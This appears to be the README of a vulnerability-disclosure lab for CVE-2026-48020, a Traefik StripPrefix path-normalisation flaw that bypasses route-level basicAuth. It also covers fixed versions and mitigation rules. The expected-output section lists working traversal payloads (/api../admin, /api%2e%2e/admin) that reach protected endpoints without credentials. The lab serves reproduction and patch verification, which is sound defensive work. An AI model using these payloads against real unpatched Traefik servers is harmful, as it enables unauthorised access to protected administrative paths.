CVE-2026-48020 — Traefik StripPrefix Route-Level Auth Bypass (PoC)

A self-contained proof of concept for CVE-2026-48020, a route-level authentication/authorization bypass in Traefik's StripPrefix middleware caused by path normalisation happening after routing decisions are made.

A request such as GET /api../admin is routed through a public PathPrefix(\/api`)router at routing time (so the protected router'sbasicAuthmiddleware is never attached), but afterStripPrefixstrips/apiand Go'sreq.URL.JoinPath()normalises the remaining/../admin, the backend receives /admin` — a path that was supposed to be guarded.

Lab layout

client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

Files

Reproduce

docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Expected output on a vulnerable Traefik

[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

On a patched Traefik (`v3.7.3`)

The bypass payloads return 404 instead of 200. The patch (Traefik PR #13215) rejects any request whose path differs after StripPrefix/StripPrefixRegex normalisation, so the /../admin rewrite is detected and refused.

Verify the fix

# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Mitigations (without upgrading)

Prevent the public route from matching the traversal form at all:

# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Disclosure

Reported to the Traefik maintainers by WonYun / kyun0 (GitHub: H4ck2); fixed in GHSA-xf64-8mw2-4gr2. This PoC lab is an independent reproduction built for the accompanying article: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

CVE	CVE-2026-48020
GHSA	GHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)	10.0 Critical (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`)
Affected	Traefik `<= v2.11.46`, `<= v3.6.17`, `<= v3.7.1`
Fixed in	`v2.11.48`, `v3.6.19`, `v3.7.3`

`docker-compose.yml`	Spins up a vulnerable Traefik (`v3.7.1`) + a Python backend
`dynamic.yml`	Traefik dynamic config: a public `/api` strip route and a protected `/admin`,`/internal` route behind basicAuth
`backend.py`	Tiny backend that returns a secret for the protected paths
`poc.py`	Sends the bypass payloads and reports which paths were reached

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

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